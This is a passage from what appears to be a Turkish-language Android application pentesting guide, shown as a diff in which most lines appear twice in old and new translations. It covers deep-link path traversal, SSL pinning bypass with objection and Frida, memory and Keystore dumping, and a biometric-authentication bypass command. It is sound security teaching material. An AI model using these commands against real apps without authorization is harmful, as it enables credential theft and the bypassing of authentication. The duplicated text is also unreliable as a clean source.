**Activity'ler ayrıca sonuç döndürebilir**. Eğer dışa açılmış (exported) ve korunmasız bir activity bulup **`setResult`** metodunu çağırdığını ve **hassas bilgi döndürdüğünü** tespit ederseniz, hassas bilgi sızıntısı vardır.
#### Tapjacking
Eğer Tapjacking engellenmemişse, export edilmiş activity'yi kötüye kullanarak **kullanıcının beklenmedik işlemler yapmasını** sağlayabilirsiniz. Tapjacking hakkında daha fazla bilgi için [**what is Tapjacking follow the link**](#tapjacking).
Eğer tapjacking önlenmemişse, exported activity'yi kötüye kullanarak **kullanıcının beklenmeyen işlemler yapmasını** sağlayabilirsiniz. Daha fazla bilgi için [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers temelde **veri paylaşımı** için kullanılır. Bir uygulamanın erişilebilir content provider'ları varsa, bunlardan **hassas** verileri çıkarabiliyor olabilirsiniz. Ayrıca muhtemel **SQL injections** ve **Path Traversals**'ı test etmek ilginçtir çünkü bunlar zafiyete açık olabilir.
Content providers temel olarak **veri paylaşmak** için kullanılır. Eğer bir uygulamanın erişilebilir content provider'ları varsa, bunlardan **hassas** verileri çıkartabiliyor olabilirsiniz. Olası **SQL injections** ve **Path Traversals**'ı da test etmek ilginçtir çünkü bunlar zafiyetli olabilir.
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
@ -374,7 +371,7 @@ Content providers temelde **veri paylaşımı** için kullanılır. Bir uygulama
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Unutmayın ki bir Service'in işlemleri `onStartCommand` metodunda başlar.
Service temelde **veri alabilen**, **işleyebilen** ve **(isterse) bir cevap döndürebilen** bir yapıdır. Eğer bir uygulama bazı servisleri export ediyorsa, ne yaptığını anlamak için **kodu** incelemeli ve gizli bilgileri çıkarmak, yetkilendirme önlemlerini aşmak vb. için dinamik olarak **test** etmelisiniz.\
Service temelde **veri alabilen**, **işleyebilen** ve (veya) bir cevap **döndürebilen** bir bileşendir. Bu yüzden, bir uygulama bazı servisleri export ediyorsa ne yaptığını anlamak için **kodu** incelemeli ve gizli bilgileri çıkarmak, authentication önlemlerini bypass etmek gibi amaçlarla **dinamik** olarak test etmelisiniz.\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
@ -382,74 +379,74 @@ Service temelde **veri alabilen**, **işleyebilen** ve **(isterse) bir cevap dö
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Unutmayın ki bir Broadcast Receiver'ın işlemleri `onReceive` metodunda başlar.
Bir broadcast receiver belirli bir tür mesajı bekler. Alıcının mesajı nasıl işlemesine bağlı olarak zafiyet ortaya çıkabilir.\
Bir broadcast receiver belirli bir tür mesajı bekler. Alıcının mesajı nasıl işlediğine bağlı olarak zafiyetli olabilir.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
Deep link'leri elle arayabilirsiniz; MobSF gibi araçlar veya [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi script'ler kullanabilirsiniz.\
Deklar edilmiş bir **scheme**'i **adb** veya bir **browser** ile **açabilirsiniz**:
Deep link'leri elle, MobSF gibi araçları veya [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi script'leri kullanarak arayabilirsiniz.\
Declare edilmiş bir **scheme**'i **adb** veya bir **browser** kullanarak açabilirsiniz:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Paket adını **omit the package name** bırakabileceğinizi unutmayın; mobil cihaz o linki açması gereken app'i otomatik olarak çağıracaktır._
_Unutmayın: **paket adını atlayabilirsiniz** ve mobil cihaz bu bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**Code executed**
**Çalıştırılan kod**
Uygulamada çalıştırılacak **kodu bulmak için**, deeplink tarafından çağrılan activity'ye gidin ve **`onNewIntent`** fonksiyonunu arayın.
Uygulamada **çalıştırılacak kodu** bulmak için deeplink tarafından çağrılan activity'e gidin ve **`onNewIntent`** fonksiyonunu arayın.
![](<../../images/image (436) (1) (1) (1).png>)
**Sensitive info**
**Hassas bilgi**
Her deeplink bulduğunuzda, **URL parametreleri aracılığıyla hassas veri (ör. şifreler) almadığından emin olun**, çünkü başka herhangi bir uygulama **deeplink'i taklit edip bu verileri çalabilir!**
Her deep link bulduğunuzda, i**URL parametreleriyle hassas veri (like passwords) almıyor** olduğundan emin olun, çünkü başka herhangi bir uygulama **deep link'i taklit edip bu verileri çalabilir!**
**Parameters in path**
**Path içindeki parametreler**
Ayrıca **herhangi bir deeplink'in URL yolunun içinde parametre kullanıp kullanmadığını** kontrol etmelisiniz; örneğin: `https://api.example.com/v1/users/{username}` . Bu durumda path traversal zorlayarak şu gibi bir erişim yapabilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Doğru endpointleri uygulama içinde bulursanız, path'in bir kısmı domain adı olarak kullanılıyorsa **Open Redirect**, CSRF token olmadan kullanıcı bilgilerini değiştirip doğru HTTP metodunu kullanabiliyorsanız **account takeover** ve başka zafiyetlere yol açabilirsiniz. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Uygulama içinde doğru endpoint'leri bulursanız, bir **Open Redirect** (eğer path'in bir kısmı domain adı olarak kullanılıyorsa), **account takeover** (kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve the vuln endpoint doğru method'u kullandıysa) ve diğer zafiyetlere yol açabilirsiniz. Daha fazla bilgi için [bu kaynağa bakın](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
### Transport Layer Inspection and Verification Failures
### Taşıma Katmanı İnceleme ve Doğrulama Hataları
- **Certificates are not always inspected properly** by Android applications. Bu uygulamaların uyarıları göz ardı edip self-signed sertifikaları kabul etmesi ya da bazı durumlarda HTTP'ye geri dönmesi yaygındır.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, zayıf cipher suite'lerin kullanılması görülebilir. Bu zafiyet, bağlantıyı man-in-the-middle (MITM) saldırılarına açık hale getirir ve saldırganların veriyi deşifre etmesine izin verir.
- **Leakage of private information** uygulamalar güvenli kanallarla kimlik doğrulaması yapıp diğer işlemler için daha sonra güvenli olmayan kanallar üzerinden iletişim kurduğunda risk oluşur. Bu yöntem, oturum çerezleri veya kullanıcı bilgileri gibi hassas verilerin kötü niyetli kişilerce ele geçirilmesini önlemez.
- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data.
- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities.
#### Certificate Verification
#### Sertifika Doğrulama
Biz **certificate verification** üzerinde yoğunlaşacağız. Sunucunun sertifika bütünlüğü güvenliği artırmak için doğrulanmalıdır. Bu önemlidir çünkü zayıf TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallarda iletilmesi önemli riskler oluşturabilir. Sunucu sertifikalarının doğrulanması ve zafiyetlerin giderilmesi için adım adım rehberlik sağlayan daha fazla bilgi için [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) adresine bakın.
Sertifika doğrulama üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü güvenliği artırmak için doğrulanmalıdır. Güvensiz TLS konfigürasyonları ve hassas verilerin şifrelenmemiş kanallarda iletilmesi ciddi riskler oluşturabilir. Sunucu sertifikalarını doğrulama ve zafiyetleri ele alma konusunda ayrıntılı adımlar için [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlar.
#### SSL Pinning
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopyaya karşı doğruladığı bir güvenlik önlemidir. Bu yöntem MITM saldırılarını önlemek için kritiktir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulanması şiddetle tavsiye edilir.
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopyayla doğruladığı bir güvenlik önlemidir. Bu yöntem MITM saldırılarını önlemek için kritiktir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulanması şiddetle tavsiye edilir.
#### Traffic Inspection
#### Trafik İncelemesi
HTTP trafiğini incelemek için proxy aracının sertifikasını (ör. Burp) **yüklemeniz** gerekir. Bu sertifika yüklenmeden şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) bakın.
HTTP trafiğini incelemek için proxy aracının sertifikasını (ör. Burp) **yüklemeniz gereklidir**. Bu sertifika yüklü değilse, şifrelenmiş trafik proxy üzerinden görünmeyebilir. Özel bir CA sertifikasının nasıl yükleneceğine dair rehber için [**tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Uygulamalar **API Level 24 and above** hedefliyorsa, proxy'nin CA sertifikasını kabul etmek için Network Security Config üzerinde değişiklik yapılması gerekir. Şifreli trafiği incelemek için Network Security Config'i nasıl değiştireceğinize dair talimatlar için [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
API Level 24 ve üzerini hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Network Security Config üzerinde değişiklik yapılmasını gerektirir. Bu adım, şifrelenmiş trafiği incelemek için kritiktir. Network Security Config'i değiştirme talimatları için [**bu eğitime bakın**](make-apk-accept-ca-certificate.md).
Eğer **Flutter** kullanılıyorsa, [**this page**](flutter.md) içindeki talimatları takip etmeniz gerekir. Sadece sertifikayı store'a eklemek işe yaramaz çünkü Flutter'ın kendi geçerli CA listesi vardır.
Eğer **Flutter** kullanılıyorsa, [**bu sayfa**](flutter.md) üzerindeki talimatları izlemelisiniz. Çünkü sertifikayı store'a eklemek tek başına işe yaramaz; Flutter'ın kendi geçerli CA listesi vardır.
#### Static detection of SSL/TLS pinning
#### SSL/TLS pinning'in statik tespiti
Runtime bypass denemeden önce, pinning'in APK içinde nerede uygulandığını hızlıca haritalandırın. Statik keşif, hook/patch planlamanıza ve doğru kod yollarına odaklanmanıza yardımcı olur.
Runtime bypasses denemeden önce, pinning'in APK içinde nerede uygulandığını hızlıca haritalayın. Statik keşif, hooks/patches planlamanıza ve doğru kod yollarına odaklanmanıza yardımcı olur.
Tool: SSLPinDetect
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
- Reports exact file path, line number, and a code snippet for each match.
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
- Açık kaynaklı bir statik-analiz aracı olup APK'yı Smali'ye (apktool aracılığıyla) decompile eder ve SSL/TLS pinning implementasyonlarına ait seçilmiş regex pattern'lerini tarar.
- Her eşleşme için tam dosya yolu, satır numarası ve bir kod snippet'i raporlar.
- OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers ve Network Security Config XML pin'leri gibi yaygın framework'leri ve custom kod yollarını kapsar.
Install
Kurulum
- Prereqs: Python >= 3.8, Java on PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
@ -464,8 +461,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
# Verbose (timings + per-match path:line + snippet)
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Örnek desen kuralları (JSON)
Özel/özelleştirilmiş pinning stillerini tespit etmek için signatures kullanın veya genişletin. Kendi JSON'unuzu yükleyip büyük ölçekte tarama yapabilirsiniz.
Örnek pattern kuralları (JSON)
Özelleştirilmiş pinning stillerini tespit etmek için signatures kullanın veya bunları genişletin. Kendi JSON'unuzu yükleyerek ölçekli scan yapabilirsiniz.
```json
{
"OkHttp Certificate Pinning": [
@ -482,40 +479,40 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
Notlar ve ipuçları
- Büyük uygulamalarda çoklu iş parçacığı ve memory-mapped I/O ile hızlı tarama; önceden derlenmiş regex, yükü/yanlış pozitifleri azaltır.
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- Sonraki triage için tipik tespit hedefleri:
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config and manifest references
- Eşleşen konumları Frida hook'ları, statik yamalar veya konfigürasyon incelemeleri planlamak için kullanın; dinamik testten önce bu adımları yapın.
- Bir sonraki önceliklendirme için tipik tespit hedefleri:
- OkHttp: CertificatePinner kullanımı, setCertificatePinner, okhttp3/okhttp paket referansları
- Özel TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted override'ları
- Özel SSL context'leri: SSLContext.getInstance + SSLContext.init ile özel manager'lar
- Declarative pins in res/xml network security config ve manifest referansları
- Eşleşen konumları Frida hook'ları, statik yamalar veya config incelemelerini dinamik testlerden önce planlamak için kullanın.
#### SSL Pinning'i Atlama
#### Bypassing SSL Pinning
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlamak gerekebilir. Bu amaçla çeşitli yöntemler mevcuttur:
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlamak gerekir. Bu amaç için çeşitli yöntemler mevcuttur:
- [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) ile **apk**'yı otomatik olarak **değiştirip** SSLPinning'i **atlayabilirsiniz**. Bu seçeneğin en büyük artısı, SSL Pinning'i atlamak için root'a ihtiyacınız olmamasıdır; ancak uygulamayı silip yeni sürümünü yeniden yüklemeniz gerekir ve her zaman işe yaramayabilir.
- Bu korumayı atlamak için **Frida** (aşağıda tartışılıyor) kullanabilirsiniz. Burp+Frida+Genymotion kullanımı için bir rehber: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- [**objection**](frida-tutorial/objection-tutorial.md) kullanarak SSL Pinning'i **otomatik olarak atlamayı** da deneyebilirsiniz:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF dynamic analysis** kullanarak SSL Pinning'i **otomatik atlamayı** da deneyebilirsiniz (aşağıda açıklanmıştır)
- Eğer hala yakalayamadığınız trafik olduğunu düşünüyorsanız, trafiği iptables ile burp'a **yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
- Bu korumayı atlamak için **Frida** (aşağıda tartışılmıştır) kullanabilirsiniz. Burp+Frida+Genymotion kullanımı için bir rehber: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Aşağıdaki komut ile [**objection**](frida-tutorial/objection-tutorial.md) kullanarak SSL Pinning'i **otomatik olarak atlamayı** de deneyebilirsiniz: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Ayrıca **MobSF dynamic analysis** kullanarak SSL Pinning'i **otomatik olarak atlamayı** deneyebilirsiniz (aşağıda açıklanmıştır)
- Hâlâ yakalayamadığınız trafik olduğunu düşünüyorsanız trafiği iptables kullanarak burp'a iletmeyi deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Yaygın Web Zafiyetlerini Arama
#### Looking for Common Web Vulnerabilities
Uygulama içinde yaygın web zafiyetlerini de aramak önemlidir. Bu zafiyetleri tespit etme ve hafifletme konusundaki detaylı bilgiler bu özetin kapsamı dışında olup başka kaynaklarda ayrıntılı şekilde ele alınmıştır.
Uygulama içinde yaygın web zayıflıklarını aramak da önemlidir. Bu zayıflıkların belirlenmesi ve hafifletilmesine dair ayrıntılı bilgiler bu özetin kapsamı dışında olup başka kaynaklarda genişçe ele alınmıştır.
### Frida
[Frida](https://www.frida.re) geliştiriciler, reverse-engineers ve güvenlik araştırmacıları için dinamik enstrümantasyon toolkit'idir.\
**Çalışan uygulamaya erişip çalışma zamanında yöntemleri hooklayarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kod çalıştırabilirsiniz...**\
Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmeniz gerekir.
[Frida](https://www.frida.re) geliştiriciler, reverse-engineer'lar ve güvenlik araştırmacıları için dinamik bir instrumentation toolkit'idir.\
**Çalışan uygulamaya erişip runtime'da metotları hook'layarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kod çalıştırabilirsiniz...**\
Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmelisiniz.
- Frida'yı nasıl kullanacağınızı öğrenin: [**Frida tutorial**](frida-tutorial/index.html)
- Frida ile yapılacak işlemler için bazı "GUI"ler: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Frida kullanmayı öğrenin: [**Frida tutorial**](frida-tutorial/index.html)
- Frida ile işlemler için bazı "GUI"ler: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Bazı Awesome Frida script'lerini burada bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Frida/anti-debugging mekanizmalarını atlatmaya çalışın; Frida'yı şu kaynakta gösterildiği gibi yükleyerek atlatmayı deneyin: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (araç: [linjector](https://github.com/erfur/linjector-rs))
- Frida'yı, [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin (tool [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
@ -523,11 +520,11 @@ Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanaca
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
### **Belleği Dökme - Fridump**
### **Dump Memory - Fridump**
Uygulamanın şifreler veya mnemonic'ler gibi saklamaması gereken hassas bilgileri bellekte tutup tutmadığını kontrol edin.
Uygulamanın parolalar veya mnemonic'ler gibi saklamaması gereken hassas bilgileri bellek içinde saklayıp saklamadığını kontrol edin.
[**Fridump3**](https://github.com/rootbsd/fridump3) kullanarak uygulamanın belleğini şu komutla dökebilirsiniz:
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -536,15 +533,15 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Bu, belleği ./dump klasörüne dump edecek; orada şu gibi bir komutla grep yapabilirsiniz:
Bu, belleği ./dump folder'a dump edecek ve orada şu gibi bir şeyle grep yapabilirsiniz:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Keystore'da hassas veriler**
### **Keystore'daki hassas veriler**
Android'de Keystore hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıkla yine de **erişmek mümkün** olabilir. Uygulamalar genellikle burada **hassas verileri açık metin olarak** saklama eğiliminde olduğundan, pentests bunu kontrol etmelidir; kök kullanıcı veya cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
Android'de Keystore hassas verileri depolamak için en iyi yerdir; ancak yeterli ayrıcalığa sahip olunursa yine de **ona erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri açık metin olarak** depolama eğiliminde olduğundan, pentests bunu root user veya cihaza fiziksel erişimi olan birinin bu verileri çalabilme ihtimaline karşı kontrol etmelidir.
Bir uygulama keystore'a veri depolasa bile, veriler şifrelenmiş olmalıdır.
Bir uygulama verileri Keystore'da saklasa bile, veriler şifrelenmiş olmalıdır.
Keystore içindeki verilere erişmek için bu Frida script'ini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
@ -552,47 +549,47 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** amacıyla uyguluyor olabileceği **bypass fingerprint authentication** işlemi mümkün olabilir:
Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** amacıyla gerçekleştirebilecekleri **parmak izi doğrulamasını atlatmak** mümkün olabilir:
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Arka Plan Görüntüleri**
### **Background Images**
Bir uygulamayı arka plana attığınızda, Android uygulamanın bir **snapshot'ını** saklar; böylece uygulama tekrar ön plana geldiğinde, uygulama yüklenmeden önce görüntüyü yükleyerek uygulamanın daha hızlı açılmış gibi görünmesini sağlar.
Bir uygulamayı arka plana aldığınızda, Android uygulamanın bir **uygulamanın anlık görüntüsünü** saklar; böylece uygulama ön plana geri getirildiğinde, uygulama başlamadan önce bu görüntüyü yükleyerek uygulamanın daha hızlı açılmış gibi görünmesini sağlar.
Ancak, eğer bu snapshot içinde **hassas bilgiler** bulunuyorsa, snapshot'a erişimi olan biri bu bilgileri **çalabilir** (erişim için root gerektiğini unutmayın).
Ancak bu **anlık görüntü** hassas bilgi içeriyorsa, anlık görüntüye erişimi olan biri bu bilgiyi **çalabilir** (erişim için root gerektiğini unutmayın).
Bu snapshot'lar genellikle şu konumda saklanır: **`/data/system_ce/0/snapshots`**
Anlık görüntüler genellikle şu konumda saklanır: **`/data/system_ce/0/snapshots`**
Android, layout parametresi olarak **FLAG_SECURE'i ayarlayarak screenshot alınmasını engelleme** imkanı sağlar. Bu flag kullanıldığında, pencere içeriği güvenli olarak değerlendirilir; böylece içerik screenshot'larda görünmesi veya güvenli olmayan ekranlarda görüntülenmesi engellenir.
Android, layout parametresi olarak **FLAG_SECURE ayarlanarak ekran görüntüsü alınmasını engelleme** imkanı sağlar. Bu flag kullanıldığında, pencere içeriği güvenli olarak işaretlenir; böylece ekran görüntülerinde görünmesi veya güvenli olmayan ekranlarda görüntülenmesi engellenir.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Uygulama Analizörü**
### **Android Application Analyzer**
Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı olabilir: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
Geliştiriciler sıklıkla bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi metodlara ileten activity, service ve broadcast receiver gibi proxy bileşenleri oluştururlar; bu durum riskli olabilir.
Geliştiriciler genellikle activities, services ve broadcast receivers gibi proxy bileşenler oluşturur; bu bileşenler bu Intents'i işleyip `startActivity(...)` veya `sendBroadcast(...)` gibi metodlara iletebilir ve bu durum riskli olabilir.
Tehlike, saldırganların bu Intents'i yanlış yönlendirerek non-exported uygulama bileşenlerini tetiklemesine veya hassas content providers'a erişimine izin verilmesinde yatar. Örnek olarak, `WebView` bileşeninin URL'leri `Intent.parseUri(...)` ile `Intent` nesnelerine dönüştürmesi ve ardından bunları çalıştırması, kötü amaçlı Intent enjeksiyonlarına yol açabilir.
Tehlike, saldırganların bu Intent'leri yanlış yönlendirerek export edilmeyen uygulama bileşenlerini tetiklemesine veya hassas content providers'a erişmesine izin verilmesinde yatıyor. Önemli bir örnek, `WebView` bileşeninin URL'leri `Intent.parseUri(...)` ile `Intent` objelerine çevirip sonra bunları çalıştırmasıdır; bu durum kötü amaçlı Intent injection'larına yol açabilir.
### Temel Çıkarımlar
- **Intent Injection** webdeki Open Redirect sorununa benzer.
- Sömürüler, `Intent` nesnelerinin extras olarak geçirilmesini ve bu şekilde tehlikeli işlemlere yönlendirilmesini içerir.
- Bu, non-exported bileşenleri ve content providers'ı saldırganlara maruz bırakabilir.
- `WebView`’in URL'den `Intent`'e dönüşümü istenmeyen eylemleri kolaylaştırabilir.
- **Intent Injection** web'deki Open Redirect sorununa benzer.
- Sömürüler, `Intent` nesnelerinin extras olarak geçirilmesini ve bunların tehlikeli işlemler gerçekleştirecek şekilde yönlendirilmesini içerir.
- Bu, export edilmeyen bileşenleri ve content providers'ı saldırganlara açabilir.
- `WebView`'in URL'den `Intent`'e dönüşümü istenmeyen eylemleri kolaylaştırabilir.
### Android Client Side Injections and others
Muhtemelen bu tür açıklıkları Web'den biliyorsunuzdur. Android uygulamalarında bu tür açıklıklara karşı özellikle dikkatli olmanız gerekir:
Muhtemelen bu tür zafiyetleri Web'den biliyorsunuzdur. Android uygulamalarında bu zafiyetlere karşı özellikle dikkatli olmalısınız:
- **SQL Injection:** Dinamik sorgular veya Content-Providers ile çalışırken parameterized queries kullandığınızdan emin olun.
- **JavaScript Injection (XSS):** Herhangi bir WebView için JavaScript ve Plugin desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışı). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebView'ların dosya sistemine erişimi kapalı olmalıdır (varsayılan olarak açık) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies:** Birçok durumda Android uygulaması oturumu kapattığında cookie iptal edilmez veya diske kaydedilebilir.
- **SQL Injection:** Dinamik sorgular veya Content-Providers ile çalışırken parametreli sorgular kullandığınızdan emin olun.
- **JavaScript Injection (XSS):** Herhangi bir WebView için JavaScript ve Plugin desteğinin devre dışı bırakıldığını doğrulayın (varsayılan olarak devre dışıdır). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebView'ların dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Bazı durumlarda Android uygulama oturumu kapattığında cookie iptal edilmiyor veya diske kaydedilebiliyor
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -605,7 +602,7 @@ Muhtemelen bu tür açıklıkları Web'den biliyorsunuzdur. Android uygulamalar
![](<../../images/image (866).png>)
Uygulamanın zafiyet değerlendirmesi hoş bir web tabanlı frontend üzerinden yapılır. Dinamik analiz de gerçekleştirebilirsiniz (ancak ortamı hazırlamanız gerekir).
**Uygulamanın zafiyet değerlendirmesini** güzel bir web tabanlı ön yüz kullanarak yapar. Dinamik analiz de yapabilirsiniz (ancak ortamı hazırlamanız gerekir).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -615,12 +612,12 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### Assisted Dynamic analysis with MobSF
